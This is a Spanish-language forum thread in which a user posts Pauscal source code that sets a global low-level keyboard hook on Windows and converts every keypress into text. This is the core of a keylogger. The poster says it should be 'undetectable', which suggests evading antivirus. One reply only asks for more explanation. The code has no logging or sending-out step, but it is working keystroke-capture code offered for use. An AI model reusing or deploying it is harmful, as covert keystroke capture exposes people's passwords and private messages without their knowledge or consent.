[Pauscal] Hookear teclado

Iniciado por Yuki, Febrero 28, 2015, 12:24:17 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 28, 2015, 12:24:17 PM Ultima modificación: Julio 02, 2015, 11:55:34 PM por facufangio
Bueno, les dejo este código que permite obtener las pulsaciones del teclado, para mas información, Google!
Espero que le saquen provecho, supongo que estará indetectable, saludos!

Código: php
' Estructuras

Estruc POINTAPI _
,x:Entero _
,y:Entero

Estruc MSG _
,hwnd:Entero _
,message:Entero _
,wParam:Entero _
,lParam:Entero _
,time:Entero _
,pt:POINTAPI

Estruc KBDLLHOOKSTRUCT,_ ' Estructura que recibe los datos.
VkCode,_ ' Código del boton presionado.
ScanCode,_ ' ?
Flags,_ ' Esto establece en 0 si la tecla es presionada, 1 si es soltada.
Time,_ ' Tiempo en el que se presiona y suelta la tecla, en ms.
DwExtraInfo:Entero ' ?

' Apis requeridas.
Proc GetMessage(Referencia:MSG,,,:Entero):Entero,"user32" "GetMessageA"
Proc TranslateMessage(Referencia:MSG):Entero,"user32"
Proc DispatchMessage(Referencia:MSG):Entero,"user32" "DispatchMessageA"
Proc CallNextHookEx(hHook,nCode,wParam:Entero,Referencia lParam:Entero):Entero,"User32.dll"
Proc SetWindowsHookEx(idHook,lpfn,hmod,dwThreadId:Entero):Entero,"User32.dll" "SetWindowsHookExA"
Proc UnhookWindowsHookEx(hHook:Entero):Entero,"User32.dll"
Proc GetModuleHandle(Referencia:Cadena):Entero,"kernel32" "GetModuleHandleA"

Var HookPtr:Entero

' Este procedimiento escanea el valor devuelto por el procedimiento "KeyboardHook" y lo _
' convierte en el caracter correspondiente.
Proc TeclasTraducir(i:Entero):Cadena
Seleccionar i
Caso 13  ; Devolver "[ENTER]"
Caso 81  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Q":"q"
Caso 87  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"W":"w"
Caso 69  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"E":"e"
Caso 82  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"R":"r"
Caso 84  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"T":"t"
Caso 89  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Y":"y"
Caso 85  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"U":"u"
Caso 73  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"I":"i"
Caso 79  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"O":"o"
Caso 80  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"P":"p"
Caso 65  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"A":"a"
Caso 83  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"S":"s"
Caso 68  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"D":"d"
Caso 70  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"F":"f"
Caso 71  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"G":"g"
Caso 72  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"H":"h"
Caso 74  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"J":"j"
Caso 75  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"K":"k"
Caso 76  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"L":"l"
Caso 192 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Ñ":"ñ"
Caso 90  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Z":"z"
Caso 88  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"X":"x"
Caso 67  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"C":"c"
Caso 86  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"V":"v"
Caso 66  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"B":"b"
Caso 78  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"N":"n"
Caso 77  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"M":"m"
Caso 112 ; Devolver "[F1]"
Caso 113 ; Devolver "[F2]"
Caso 114 ; Devolver "[F3]"
Caso 115 ; Devolver "[F4]"
Caso 116 ; Devolver "[F5]"
Caso 117 ; Devolver "[F6]"
Caso 118 ; Devolver "[F7]"
Caso 119 ; Devolver "[F8]"
Caso 120 ; Devolver "[F9]"
Caso 121 ; Devolver "[F10]"
Caso 122 ; Devolver "[F11]"
Caso 123 ; Devolver "[F12]"
Caso 49  ; Devolver >GetAsyncKeyState(160)?"!":"1"
Caso 50  ; Devolver >GetAsyncKeyState(160)?#34:"2"
Caso 51  ; Devolver >GetAsyncKeyState(160)?"·":"3"
Caso 52  ; Devolver >GetAsyncKeyState(160)?"$":"4"
Caso 53  ; Devolver >GetAsyncKeyState(160)?"%":"5"
Caso 54  ; Devolver >GetAsyncKeyState(160)?"&":"6"
Caso 55  ; Devolver >GetAsyncKeyState(160)?"/":"7"
Caso 56  ; Devolver >GetAsyncKeyState(160)?"(":"8"
Caso 57  ; Devolver >GetAsyncKeyState(160)?")":"9"
Caso 48  ; Devolver >GetAsyncKeyState(160)?"=":"0"
Caso 9   ; Devolver "[TAB]"
Caso 8   ; Devolver "[BORRAR]"
Caso 220 ; Devolver >GetAsyncKeyState(160)?"ª":"º"
Caso 96  ; Devolver "0"
Caso 97  ; Devolver "1"
Caso 98  ; Devolver "2"
Caso 99  ; Devolver "3"
Caso 100 ; Devolver "4"
Caso 101 ; Devolver "5"
Caso 102 ; Devolver "6"
Caso 103 ; Devolver "7"
Caso 104 ; Devolver "8"
Caso 105 ; Devolver "9"
Caso 27  ; Devolver "[ESCAPE]"
Caso 2096852,32 ; Devolver " "
FinSeleccionar
FinProc

Proc KeyboardHook(nCode:Entero,wParam:Word,lParam:Entero):Entero
Si HookEstruc@ = 0 Entonces HookEstruc@ = lParam ' CopyMemory(HookEstruc@,lParam,Long(HookEstruc))
Si nCode = 0 Entonces
Si (HookEstruc.Flags = 0) Entonces ' Si la tecla es precionada (no soltada)
' Acciones!
' EJEMPLO ___________________________
'Seleccionar TeclasTraducir(HookEstruc.VkCode)
' Caso "A"
' Caso "B"
' Caso "[ENTER]"
'FinSeleccionar
FinSi
SiNo
HookPtr = CallNextHookEx(0,HookPtr, wParam, lParam) ' Next
FinSi
FinProc

Var @HookEstruc:KBDLLHOOKSTRUCT
Var Msg:MSG

' Establece el hook en el teclado.
HookPtr = SetWindowsHookEx(13, KeyboardHook@, GetModuleHandle(""), 0)

' Sondeamos los mensajes del sistema.
Mientras GetMessage(Msg,0,0,0) = Verd
TranslateMessage(Msg)
DispatchMessage(Msg)
FinMientras

' Liberamos el hook.
UnhookWindowsHookEx(HookPtr)

Por el titulo pense que ibas a explicar un poco de teoria

Podrías dar un poco mas de información acerca del funcionamiento ya que no se encuentra muy claro que deseas hacer, además si vas a poner mas información en "Google", no lo hubieras posteado ya que como dices puedo abrir el navegador y buscar quedando este post sin visitas e incompleto.


Gracias y por favor pon más información.

Saludos.